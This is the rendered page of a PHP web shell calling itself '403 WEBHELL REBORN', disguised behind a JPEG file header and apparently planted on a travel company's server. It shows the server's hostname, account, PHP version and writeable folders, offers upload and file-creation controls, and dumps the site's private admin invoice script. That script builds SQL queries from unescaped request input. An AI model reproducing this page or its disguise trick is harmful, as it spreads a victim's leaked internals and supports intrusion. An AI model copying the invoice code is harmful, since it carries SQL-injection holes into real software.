ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp_231024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp_231024/invoice_proc.php
<?
include "../include/top_proc.html";
include "_common.html";


if($SqlType == "res_update" ) {	//invoice 생성

		//invoice detail정보 저장
			$total_detail_amount = 0;	//합계

			for($j=1;$j<=count($detail_num_arr);$j++) {
				${"detail".$j."_content"} .= ${"detail".$j."_item_arr"} . "::" . ${"detail".$j."_price_arr"};

				${"detail".$j.""} = ${"detail_num_arr"}[$j-1];

				//합계
				if(!${"detail".$j."_price_arr"})	${"detail".$j."_price_arr"} = 0;
				$total_detail_amount += ${"detail".$j."_price_arr"};

			}


			$remarks = addslashes($remarks);
			$rule_refund = addslashes($rule_refund);

			//언어구분&환율정보&total_price_won
			if($currency=="HKD")		$lang = "hk";
			elseif($currency=="CNY")	$lang = "cn";
			elseif($currency=="USD")	$lang = "en";
			elseif($currency=="₩")	{$lang = "ko";$to_krw=1;}

			if($currency!='ko') {
				$to_krw = to_per_krw("",$lang);	//환율
			}

			//입금상태
			if($account_state) {
				$sql = "update TB_ERP_ALL set ";
				$sql .= " pay_state='{$account_state}' ";
				$sql .= " where a_idx='{$a_idx}'";
				db_query($sql);
			}
			//입금기한
			if($date_payment) {
				$sql = "update TB_ERP_ALL set ";
				$sql .= " date_payment='{$date_payment}' ";
				$sql .= " where a_idx='{$a_idx}'";
				db_query($sql);
			}

			//invoice 기본내용 저장
			$sql = "insert into TB_ERP_INVOICE set ";
			$sql .= " a_idx='{$a_idx}', ";
			$sql .= " invoice_no='{$invoice_no}', ";
			$sql .= " pub_date='{$pub_date}', ";
			$sql .= " payment='{$payment}', ";
			//$sql .= " account_state='{$account_state}', ";

			if($detail1) {
			$sql .= " detail1='{$detail1_content}', ";
			}
			if($detail2) {
			$sql .= " detail2='{$detail2_content}', ";
			}
			if($detail3) {
			$sql .= " detail3='{$detail3_content}', ";
			}
			if($detail4) {
			$sql .= " detail4='{$detail4_content}', ";
			}
			if($detail5) {
			$sql .= " detail5='{$detail5_content}', ";
			}
			if($detail6) {
			$sql .= " detail6='{$detail6_content}', ";
			}
			if($detail7) {
			$sql .= " detail7='{$detail7_content}', ";
			}
			if($detail8) {
			$sql .= " detail8='{$detail8_content}', ";
			}
			if($detail9) {
			$sql .= " detail9='{$detail9_content}', ";
			}

			$sql .= " total_detail_amount='$total_detail_amount', ";
			$sql .= " currency='$currency', ";
			$sql .= " lang='$lang', ";
			//$sql .= " bank_name='$bank_name', ";
			//$sql .= " account_name='$account_name', ";
			//$sql .= " account_no='$account_no', ";
			//$sql .= " swift_code='$swift_code', ";
			//$sql .= " bank_addr='$bank_addr', ";
			//$sql .= " bank_contact='$bank_contact', ";
			$sql .= " account1='$account1', ";
			$sql .= " account1_val='$account1_val', ";
			$sql .= " account2='$account2', ";
			$sql .= " account2_val='$account2_val', ";
			$sql .= " rule_refund='$rule_refund', ";
			$sql .= " remarks='$remarks', ";

			$sql .= " regdate = now()";

			db_query($sql);


		//error_msg("location.href='edit_estimate.php?a_idx={$a_idx}'","script");	
		echo "<script>location.href='edit_estimate.php?".$_ehref."&rtab=2';</script>";


}

elseif($SqlType == "invoice_update" ) {	//invoice 수정


		//invoice detail정보 저장
			$total_detail_amount = 0;	//합계

			for($j=1;$j<=count($detail_num_arr);$j++) {
				${"detail".$j."_content"} .= ${"detail".$j."_item_arr"} . "::" . ${"detail".$j."_price_arr"};

				${"detail".$j.""} = ${"detail_num_arr"}[$j-1];

				//합계
				if(!${"detail".$j."_price_arr"})	${"detail".$j."_price_arr"} = 0;
				$total_detail_amount += ${"detail".$j."_price_arr"};

			}


			$remarks = addslashes($remarks);
			$rule_refund = addslashes($rule_refund);

			//입금상태
			if($account_state) {
				$sql = "update TB_ERP_ALL set ";
				$sql .= " pay_state='{$account_state}' ";
				$sql .= " where a_idx='{$a_idx}'";
				db_query($sql);
			}

			//입금기한
			if($date_payment) {
				$sql = "update TB_ERP_ALL set ";
				$sql .= " date_payment='{$date_payment}' ";
				$sql .= " where a_idx='{$a_idx}'";
				db_query($sql);
			}

			//invoice 기본내용 저장
			$sql = "update TB_ERP_INVOICE set ";
			$sql .= " invoice_no='{$invoice_no}', ";
			//$sql .= " pub_date='{$pub_date}', ";
			$sql .= " payment='{$payment}', ";
			//$sql .= " account_state='{$account_state}', ";

			if($detail1) {
			$sql .= " detail1='{$detail1_content}', ";
			} else {
			$sql .= " detail1='', ";
			}
			if($detail2) {
			$sql .= " detail2='{$detail2_content}', ";
			} else {
			$sql .= " detail2='', ";
			}
			if($detail3) {
			$sql .= " detail3='{$detail3_content}', ";
			} else {
			$sql .= " detail3='', ";
			}
			if($detail4) {
			$sql .= " detail4='{$detail4_content}', ";
			} else {
			$sql .= " detail4='', ";
			}
			if($detail5) {
			$sql .= " detail5='{$detail5_content}', ";
			} else {
			$sql .= " detail5='', ";
			}
			if($detail6) {
			$sql .= " detail6='{$detail6_content}', ";
			} else {
			$sql .= " detail6='', ";
			}
			if($detail7) {
			$sql .= " detail7='{$detail7_content}', ";
			} else {
			$sql .= " detail7='', ";
			}
			if($detail8) {
			$sql .= " detail8='{$detail8_content}', ";
			} else {
			$sql .= " detail8='', ";
			}
			if($detail9) {
			$sql .= " detail9='{$detail9_content}', ";
			} else {
			$sql .= " detail9='', ";
			}

			$sql .= " total_detail_amount='$total_detail_amount', ";
			//$sql .= " currency='$currency', ";
			//$sql .= " lang='$lang', ";
			//$sql .= " bank_name='$bank_name', ";
			//$sql .= " account_name='$account_name', ";
			//$sql .= " account_no='$account_no', ";
			//$sql .= " swift_code='$swift_code', ";
			//$sql .= " bank_addr='$bank_addr', ";
			//$sql .= " bank_contact='$bank_contact', ";
			$sql .= " account1='$account1', ";
			$sql .= " account1_val='$account1_val', ";
			$sql .= " account2='$account2', ";
			$sql .= " account2_val='$account2_val', ";
			$sql .= " rule_refund='$rule_refund', ";
			$sql .= " remarks='$remarks' ";
			$sql .= " where i_idx='{$i_idx}' ";

			db_query($sql);

		//error_msg("location.href='edit_estimate.php?a_idx={$a_idx}&rtab=2'","script");	
		echo "<script>location.href='edit_estimate.php?".$_ehref."&rtab=2&mode=invoice';</script>";



}

?>

Anon7 - 2021